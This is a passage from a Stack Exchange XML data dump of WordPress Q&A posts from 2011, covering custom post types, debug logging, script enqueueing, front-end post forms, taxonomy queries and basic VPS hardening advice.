&lt;em&gt;extremely&lt;/em&gt; weird stuff in the rewrite rules plus some virus files being delivered as if they were images. We only discovered it when our Google Rank drop through the floor because of some 404s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been some &lt;a href=&quot;http://www.programmerfish.com/wordpress-security-flaw-reset-admin-password-of-any-blog-without-confirmation/&quot; rel=&quot;nofollow&quot;&gt;old reports&lt;/a&gt; of general methods to hack into WP sites. I mention it because you are running older stuff so it may be vulnerable to this (or something similar). &lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2011-02-02T01:10:43.590" />
  <row Id="8329" PostTypeId="2" ParentId="8327" CreationDate="2011-02-02T03:12:42.900" Score="0" ViewCount="" Body="&lt;p&gt;I haven't checked it out, but &lt;a href=&quot;http://wordpress.org/extend/plugins/anon-posting/&quot; rel=&quot;nofollow&quot;&gt;this plugin&lt;/a&gt; probably shows you how to approach it. &lt;a href=&quot;http://wordpress.org/extend/plugins/tdo-mini-forms/&quot; rel=&quot;nofollow&quot;&gt;Here is another one&lt;/a&gt;, or you could create a special user called 'anonymous' and give them 'author' permissions. You probably want to be careful about giving them edit or delete permissions.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2011-02-02T03:12:42.900" CommentCount="2" />
  <row Id="8330" PostTypeId="2" ParentId="8319" CreationDate="2011-02-02T03:18:51.053" Score="1" ViewCount="" Body="&lt;p&gt;Less of a tool and more of a reference, the &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference&quot; rel=&quot;nofollow&quot;&gt;Plugin API/Filter Reference&lt;/a&gt; is a great list and it's sorted by type.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2011-02-02T03:18:51.053" CommentCount="1" />
  <row Id="8331" PostTypeId="2" ParentId="8315" CreationDate="2011-02-02T03:23:34.887" Score="0" ViewCount="" Body="&lt;p&gt;This seems to be a bug with the contact form plugin. You may look at the plugin source files to see if there are extra &lt;p&gt; tags.&lt;/p&gt;&#xA;" OwnerUserId="2883" LastActivityDate="2011-02-02T03:23:34.887" />
  <row Id="8333" PostTypeId="1" AcceptedAnswerId="8340" CreationDate="2011-02-02T03:50:12.680" Score="0" ViewCount="163" Body="&lt;p&gt;I've been adding custom post types in the admin panel and endingup with the following results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Prioritazing content:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Posts (blog entries, news, events...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pages&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Static Content (custom post type) -&gt; Sections (custom taxonomy) (Tagline, Slider, &#xA;Mainbar...)&#xA;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, I divided the pages into sections, the problem is that the client can only know where the section is by creating a term like this: Tagline (Front-Page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Prioritizing pages:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pages &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Front-Page (custom post type) -&gt; Sections (custom post type) (Tagline, Slider, Mainbar...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;News (custom post type) ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Events (custom post type) ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Photos (custom post type) ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About (custom post type) ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blog (custom post type) ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contact (custom post type) ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, the client will know to which page the content will go. But if the user will see some pages he or she may never use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which method is more efficient concerning content managment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have another better alternative?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*&lt;em&gt;Reference Picture of case #1 (the custom post type is called Static Content and the custom taxonomy is called Sections. Posts will be preserved but used in Categories called Events, News, etc...):&lt;/em&gt;.&#xA;&lt;img src=&quot;http://i.stack.imgur.com/liFaR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-02-02T08:15:56.680" LastActivityDate="2011-02-02T08:15:56.680" Title="Using custom post types to give Wordpress a more CMS-like look. What to prioritaize? Pages or Content?" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="8334" PostTypeId="2" ParentId="1242" CreationDate="2011-02-02T04:56:13.247" Score="4" ViewCount="" Body="&lt;p&gt;Use a logging function like &lt;a href=&quot;http://fuelyourcoding.com/simple-debugging-with-wordpress/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, so that it writes your log out to debug.log by configuring your wp-config.php with the following which I found &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Configure_Error_Log&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * This will log all errors notices and warnings to a file called debug.log in&#xA; * wp-content (if Apache does not have write permission, you may need to create&#xA; * the file first and set the appropriate permissions (i.e. use 666) ) &#xA; */&#xA;define('WP_DEBUG', true);&#xA;define('WP_DEBUG_LOG', true);&#xA;define('WP_DEBUG_DISPLAY', false);&#xA;@ini_set('display_errors',0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should work for debugging/development purposes at least (I'm not sure how great it would be for production logging, but it works for development.)&lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2011-02-02T04:56:13.247" CommentCount="1" />
  <row Id="8335" PostTypeId="2" ParentId="8321" CreationDate="2011-02-02T06:04:25.267" Score="2" ViewCount="" Body="&lt;p&gt;Codex has good article &lt;a href=&quot;http://codex.wordpress.org/Resetting_Your_Password&quot; rel=&quot;nofollow&quot;&gt;Resetting Your Password&lt;/a&gt; with multiple ways to do it.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-02T06:04:25.267" />
  <row Id="8336" PostTypeId="2" ParentId="8324" CreationDate="2011-02-02T06:10:57.337" Score="1" ViewCount="" Body="&lt;p&gt;Unfortunately email can be like that. It works most of the time, but sometimes messages just poof. Especially if email is being sent by some small hosting account (more suspicious) as opposed to large email service (less suspicious).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try to verify with hosting if emails were really sent, but if they were I don't think you will ever know what happened with them along the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS btw maybe it will arrive after all, several times I experienced emails sent earlier stuck somewhere and arrive hours later than newer emails&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-02T06:10:57.337" CommentCount="1" />
  <row Id="8337" PostTypeId="2" ParentId="8319" CreationDate="2011-02-02T06:24:37.943" Score="2" ViewCount="" Body="&lt;p&gt;It is usually easy to find most hooks in documentation or source. It can be much more tricky for hooks that are dynamically generated, like post transitions. Essentially it doesn't exist in source as specific hook - it is hook that is getting generated dynamically at runtime, depending on variables.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_action(&quot;${old_status}_to_$new_status&quot;, $post);&#xA;do_action(&quot;${new_status}_$post-&amp;gt;post_type&quot;, $post-&amp;gt;ID, $post);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At local test stack I often just add &lt;code&gt;var_dump()&lt;/code&gt; on variables to source code to see what is going on. Dirty, but easy and fast. Obviously highly not recommended for production environment.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-02T06:24:37.943" CommentCount="3" />
  <row Id="8338" PostTypeId="2" ParentId="8290" CreationDate="2011-02-02T06:37:35.647" Score="1" ViewCount="" Body="&lt;p&gt;What exactly do you mean by &lt;em&gt;nothing happens&lt;/em&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically you don't need to remove &lt;code&gt;set_post_thumbnail_size()&lt;/code&gt;, as I understand from code - simply making your own call later will overwrite size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two ways you can handle this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjust your setup function to later priority. Child theme is processed before parent theme. So when you hook with default priority - setup functions are also executed in that order. So &lt;code&gt;add_action( 'after_setup_theme', 'twentyten_child_theme_setup', 11 );&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Plug your own &lt;code&gt;twentyten_setup()&lt;/code&gt; function. It is wraped in &lt;code&gt;if ( ! function_exists( 'twentyten_setup' ) )&lt;/code&gt; condition in Twenty Ten. So simply copy it to your theme and make changes you need - your version will run instead of original one.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-02T06:46:27.993" LastActivityDate="2011-02-02T06:46:27.993" CommentCount="1" />
  <row Id="8339" PostTypeId="1" AcceptedAnswerId="8350" CreationDate="2011-02-02T06:45:28.883" Score="0" ViewCount="312" Body="&lt;p&gt;I want to display one post from each category per page. So the first page would contain the first post of cat A, the first post of cat B and the first post of cat C. The second page would contain the second post of cat A, the second post of cat B and the second post of cat C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently use the following code, but it does not work, I always get the same posts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$category_ids = get_all_category_ids();&#xA;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;&#xA;foreach($category_ids as $kk=&amp;gt; $cat_id) {&#xA;    $cat_name= query_posts( 'cat='.$cat_id.'&amp;amp;posts_per_page=1&amp;amp;orderby=date&amp;amp;order=ASC&amp;amp;paged='.$paged);&#xA;    foreach($cat_name as $post) : setup_postdata($post);&#xA;        if (have_posts ()) :&#xA;            while (have_posts ()) : the_post(); ?&amp;gt;&#xA;    &amp;lt;?php&#xA;                    }&#xA;                    else {&#xA;                        ?&amp;gt;&#xA;                        &amp;lt;?php if( get_the_category_list() ) { ?&amp;gt;&amp;lt;p class=&quot;alignleft&quot;&amp;gt;&amp;lt;span&amp;gt;&amp;lt;?php the_category( ', ' ) ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;?php } ?&amp;gt;&#xA;            endwhile;&#xA;        endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2885" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-02T09:17:20.417" LastActivityDate="2011-02-02T10:25:10.700" Title="Showing one post from each category, paged?" Tags="&lt;categories&gt;&lt;query-posts&gt;&lt;pagination&gt;" AnswerCount="1" CommentCount="11" />
  <row Id="8340" PostTypeId="2" ParentId="8333" CreationDate="2011-02-02T07:12:11.410" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@janoChen:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Definitely #1.  #2 will create a lot of complexity for the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To address the problems you've identified with #1 I would recommend removing the static content post types from the admin and isntead creating a custom admin page that allows the user to add static sections via AJAX with links to their edit pages.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-02T07:12:11.410" CommentCount="4" />
  <row Id="8341" PostTypeId="1" AcceptedAnswerId="8344" CreationDate="2011-02-02T07:16:25.823" Score="0" ViewCount="106" Body="&lt;p&gt;Recently I purchased a VPS from intovps.com, And first time I configured a fully unmanaged VPS through ssh comands.&#xA;My website is working into it, properly.&#xA;Now I just want to know how to secure it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started my process of configuring VPS in this way:-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installed LAMP, phpmyadmin, restored the backup(wordpress &amp;amp; mysql), installed vsftpd for ftp access, added a user into FTP(user can navigate into any directory over the entire VPS, but change anything) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now after everything, I just want to know the security steps for my VPS. I have heard from my friends that after configuring a VPS, it also needs to be configure for security. &#xA;In VPS, I have only one user added for ssh access, which is default,and I just added one ftp user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want that the ftp added user should just navigate to the &lt;code&gt;/html&lt;/code&gt; directory, where my website is installed, and has all writes to change everything&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And any suggestions or tricks or steps for making server more secure?&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-02-02T08:56:17.923" Title="Secure Server after configuration" Tags="&lt;security&gt;&lt;vps&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="8342" PostTypeId="1" AcceptedAnswerId="8343" CreationDate="2011-02-02T08:11:57.543" Score="0" ViewCount="120" Body="&lt;p&gt;The title pretty much explains exactly what I'm trying to do. If someone could help me out, that would be awesome. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:)&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-02-02T11:06:06.780" Title="Include jQuery (or anything) inside Custom Options Panel's &lt;head&gt; tag" Tags="&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="8343" PostTypeId="2" ParentId="8342" CreationDate="2011-02-02T08:43:15.163" Score="2" ViewCount="" Body="&lt;p&gt;the correct way to include files for scripts you can use the hook &quot;admin_print_scripts&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and include your scripts &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;with wp_enqueue_script()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;add_action('admin_print_scripts','my_scripts');&#xA;function my_scripts(){&#xA;   wp_enqueue_script( 'jquery' );&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and for styles use the hook &quot;admin_print_styles&quot; and include you styles with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&quot; rel=&quot;nofollow&quot;&gt;wp_enqueue_style&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;add_action('admin_print_styles','my_styles');&#xA;function my_styles(){&#xA;   wp_enqueue_style( 'myPluginStylesheet', WP_PLUGIN_URL . '/myPlugin/stylesheet.css' );&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope This Helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-02T08:43:15.163" />
  <row Id="8344" PostTypeId="2" ParentId="8341" CreationDate="2011-02-02T08:56:17.923" Score="1" ViewCount="" Body="&lt;p&gt;Have a look at this excellent &lt;a href=&quot;http://serverfault.com/questions/212269/tips-for-securing-a-lamp-server&quot;&gt;&lt;strong&gt;question and answers&lt;/strong&gt;&lt;/a&gt; on Server Fault that discusses how to secure your LAMP stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure your FTP user can only access the directories you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setup &lt;a href=&quot;http://www.gratisoft.us/sudo/&quot; rel=&quot;nofollow&quot;&gt;sudo&lt;/a&gt; to allow a non root user to run commands as root.&#xA;Lock down your ssh so that root cannot log in set &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;PermitRootLogin = no in /etc/ssh/sshd_config&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable &lt;a href=&quot;http://linux-tips.org/article/33/passwordless-ssh-setup&quot; rel=&quot;nofollow&quot;&gt;passwordless public key login&lt;/a&gt; for ssh.&#xA;Disable &lt;a href=&quot;http://linux-tips.org/article/60/disabling-ssh-password-authentication&quot; rel=&quot;nofollow&quot;&gt;ssh password login&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2887" LastActivityDate="2011-02-02T08:56:17.923" />
  <row Id="8345" PostTypeId="2" ParentId="8326" CreationDate="2011-02-02T08:58:12.757" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Wordpressor:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sounds pretty simple so I'm concerned I misunderstand, but in case I did understand correctly here's a function; just pass the taxonomy to it like this: &lt;code&gt;echo get_taxonomy_list_html('category')&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_taxonomy_list_html($taxonomy) {&#xA;  $term_links = array();&#xA;  foreach(get_terms($taxonomy) as $term) {&#xA;    if (!empty($term-&amp;gt;slug) &amp;amp;&amp;amp; $term-&amp;gt;count&amp;gt;0) {&#xA;      $link = get_term_link($term,$taxonomy);&#xA;      $term_links[] = &quot;[ &amp;lt;a href='{$link}'&amp;gt;{$term-&amp;gt;name}&amp;lt;/a&amp;gt; ({$term-&amp;gt;count}) ]&quot;;&#xA;    }&#xA;  }&#xA;  return implode(' ',$term_links);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-04T07:10:42.787" LastActivityDate="2011-02-04T07:10:42.787" CommentCount="12" />
  <row Id="8346" PostTypeId="2" ParentId="8317" CreationDate="2011-02-02T09:27:39.213" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-admin/includes/plugin.php#L466&quot; rel=&quot;nofollow&quot;&gt;The &lt;code&gt;activate_plugin()&lt;/code&gt; function&lt;/a&gt; accepts three parameters, but it emits the &lt;code&gt;activate_plugin&lt;/code&gt; action with only one parameter. This can be confusing, but hooks sometimes use the same name as the function they come from, without passing the same parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to get the difference between a network activation and a regular activation is to monitor the &lt;code&gt;update_site_option&lt;/code&gt; and &lt;code&gt;update_option&lt;/code&gt; hooks. Only one of them will fire, depending on the &lt;code&gt;$network_wide&lt;/code&gt; parameter of &lt;code&gt;activate_plugin()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-02T09:27:39.213" CommentCount="1" />
  <row Id="8347" PostTypeId="2" ParentId="8327" CreationDate="2011-02-02T09:46:19.920" Score="1" ViewCount="" Body="&lt;p&gt;you can use plugins fro the front-end posting:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/post-from-site/&quot; rel=&quot;nofollow&quot;&gt;Post From Site&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/ucan-post/&quot; rel=&quot;nofollow&quot;&gt;uCan Post&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-user-frontend/&quot; rel=&quot;nofollow&quot;&gt;WP User Frontend&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Or you can create the form yourself&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;!-- New Post Form --&amp;gt;&#xA;&amp;lt;div id=&quot;postbox&quot;&amp;gt;&#xA;&amp;lt;form id=&quot;new_post&quot; name=&quot;new_post&quot; method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;title&quot;&amp;gt;Title&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; id=&quot;title&quot; value=&quot;&quot; tabindex=&quot;1&quot; size=&quot;20&quot; name=&quot;title&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;description&quot;&amp;gt;Description&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;textarea id=&quot;description&quot; tabindex=&quot;3&quot; name=&quot;description&quot; cols=&quot;50&quot; rows=&quot;6&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;?php wp_dropdown_categories( 'show_option_none=Category&amp;amp;tab_index=4&amp;amp;taxonomy=category' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;post_tags&quot;&amp;gt;Tags&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; value=&quot;&quot; tabindex=&quot;5&quot; size=&quot;16&quot; name=&quot;post_tags&quot; id=&quot;post_tags&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p align=&quot;right&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Publish&quot; tabindex=&quot;6&quot; id=&quot;submit&quot; name=&quot;submit&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;new_post&quot; /&amp;gt;&#xA;&amp;lt;?php wp_nonce_field( 'new-post' ); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!--// New Post Form --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and process it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   if( 'POST' == $_SERVER['REQUEST_METHOD'] &amp;amp;&amp;amp; !empty( $_POST['action'] ) &amp;amp;&amp;amp;  ($_POST['action']== 'new_post')) {&#xA;&#xA;    if (isset ($_POST['title'])) {&#xA;        $title =  $_POST['title'];&#xA;    } else {&#xA;        echo 'Please enter a title';&#xA;    }&#xA;    if (isset ($_POST['description'])) {&#xA;        $description = $_POST['description'];&#xA;    } else {&#xA;        echo 'Please enter the content';&#xA;    }&#xA;    $tags = $_POST['post_tags'];&#xA;&#xA;    $new_post = array(&#xA;        'post_title'    =&amp;gt; $title,&#xA;        'post_content'  =&amp;gt; $description,&#xA;        'post_category' =&amp;gt; $_POST['cat'],  &#xA;        'tags_input'    =&amp;gt; $tags,&#xA;        'post_status'   =&amp;gt; 'draft'&#xA;    );&#xA;    wp_insert_post($new_post);  &#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And make sure to check for nonce and sanitization of the form fields.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;According to your gist code and comment change your function to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if( 'POST' == $_SERVER['REQUEST_METHOD'] &amp;amp;&amp;amp; !empty( $_POST['action'] ) &amp;amp;&amp;amp; ($_POST['action']== 'new_post')) {&#xA;        $has_errors = false;&#xA;        if (isset ($_POST['title'])) {&#xA;            $title = $_POST['title'];&#xA;        } else {&#xA;            echo 'Please enter a title';&#xA;            $has_errors = true;&#xA;        }&#xA;        if (isset ($_POST['performer'])) {&#xA;            $performer = $_POST['preformer'];&#xA;        } else {&#xA;            echo 'Please enter a performer';&#xA;            $has_errors = true;&#xA;        }&#xA;        if (isset ($_POST['composer'])) {&#xA;          $composer = $_POST['composer'];&#xA;        } else {&#xA;            echo 'Please enter a composer';&#xA;            $has_errors = true;&#xA;        }&#xA;        if (isset ($_POST['tablature'])) {&#xA;            $tablature = $_POST['tablature'];&#xA;        } else {&#xA;            echo 'Please enter the content';&#xA;            $has_errors = true;&#xA;        }&#xA;        $tags = $_POST['post_tags'];&#xA;        if (!$has_errors){&#xA;        //save &amp;lt;title&amp;gt;  by: &amp;lt;preformer&amp;gt;&#xA;        $title .= &quot; by: &quot; .$performer;&#xA;&#xA;        //save Composed by: &amp;lt;composer&amp;gt; Performed by: &amp;lt;performer&amp;gt; &amp;lt;tablature&amp;gt;&#xA;        $content = &quot;&amp;lt;h4&amp;gt;Composed by: &quot;. $composer.&quot;&amp;lt;/h4&amp;gt;&amp;lt;br/&amp;gt;&amp;lt;h4&amp;gt;Performed by: &quot;.$performer.&quot;&amp;lt;/h4&amp;gt;&amp;lt;br/&amp;gt;&quot;.$tablature;&#xA;&#xA;        $new_post = array(&#xA;            'post_title' =&amp;gt; $title,&#xA;            'post_content' =&amp;gt; $content,&#xA;            'post_category' =&amp;gt; $_POST['cat'],&#xA;            'tags_input' =&amp;gt; $tags,&#xA;            'post_status' =&amp;gt; 'draft'&#xA;        );&#xA;        $pid = wp_insert_post($new_post);&#xA;&#xA;&#xA;        //save email and submmiter as post meta in custom fields&#xA;        update_post_meta($pid, 'submiter_email', urldecode($_POST['email']));&#xA;        update_post_meta($pid, 'submiter_name', urldecode($_POST['submitter']));&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-05T11:39:43.163" LastActivityDate="2011-02-05T11:39:43.163" CommentCount="5" />
  <row Id="8348" PostTypeId="1" CreationDate="2011-02-02T09:49:13.507" Score="0" ViewCount="475" Body="&lt;p&gt;I'm getting some trouble here with a plugin I'm developing which works with&#xA;a custom registered taxonomy and then generates posts listings querying more&#xA;than one of those terms at once.&#xA;The taxonomy is hierarchical and I want to show on the sidebar only the&#xA;terms who was items (posts), but I don't really care if the post is in the&#xA;term itself, in a first-level child or or deep inside the navigation tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be so simple as querying get_terms() with the args hide_empty = 1&#xA;and hierarchical = 1 (default), but the mix doesn't seem to be working&#xA;properly. Instead, it returns me the terms which have posts and the terms&#xA;whose direct childrens have posts, but if the post is into a child of a&#xA;child, I got nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea on how to get this working properly?&#xA;This ticket seems to be about something closely related, but no specifics&#xA;are given: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/16240&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/16240&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I basically need to navigate the taxonomy tree all the way thorugh in order&#xA;to see if are there any posts at any level below the current term. I tried&#xA;some tricks around the get_terms filter but couldn't get it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated.&#xA;Thanks in advance!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&#xA;Cesar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: this is the function where I register the taxonomy (sorry about the spanish words here and there, they're just used in sample strings shown to the user)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'sx_init_taxonomy' );&#xA;function sx_init_taxonomy()&#xA;{&#xA;&#xA;    $labels = array(&#xA;        'name' =&amp;gt; 'Filtros',&#xA;        'singular_name' =&amp;gt; 'Filtro',&#xA;        'search_items' =&amp;gt; 'Buscar Filtros',&#xA;        'all_items' =&amp;gt; 'Todos los Filtros',&#xA;        'parent_item' =&amp;gt; 'Filtro Padre',&#xA;        'parent_item_colon' =&amp;gt; 'Filtro Padre:',&#xA;        'edit_item' =&amp;gt; 'Editar Filtro', &#xA;        'update_item' =&amp;gt; 'Actualizar Filtro',&#xA;        'add_new_item' =&amp;gt; 'Añadir Nuevo Filtro',&#xA;        'new_item_name' =&amp;gt; 'Añadir Nuevo Nombre de Filtro',&#xA;        'menu_name' =&amp;gt; 'Filtros',&#xA;      );&#xA;&#xA;    register_taxonomy('filtro',array('post', 'page'), array(&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'show_tagcloud' =&amp;gt; false,&#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array('slug' =&amp;gt; 'filtro'),&#xA;      ));&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the specific code I use to display the navigation menu on the sidebar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('HIDE_EMPTY', 1);&#xA;&#xA;foreach ($main_nodes as $main)&#xA;    {&#xA;        if (!in_array($main-&amp;gt;slug, $main_terms_used))&#xA;        {&#xA;            $bros = get_terms('filtro', 'hide_empty=' . HIDE_EMPTY . '&amp;amp;parent='.$main-&amp;gt;term_id);&#xA;&#xA;            echo &quot;&amp;lt;div class='widgetContainer'&amp;gt;&amp;lt;ul&amp;gt;&amp;lt;h3&amp;gt;$main-&amp;gt;name&amp;lt;/h3&amp;gt;&quot;;&#xA;            foreach ($bros as $bro)&#xA;            {&#xA;                if(!empty($main_terms_used))&#xA;                    $link = $_SERVER['REQUEST_URI'] . $bro-&amp;gt;slug . '/';&#xA;                else&#xA;                    $link = get_home_url(null, '/f/' . $bro-&amp;gt;slug . '/');&#xA;                echo &quot;&amp;lt;li&amp;gt;&amp;lt;a 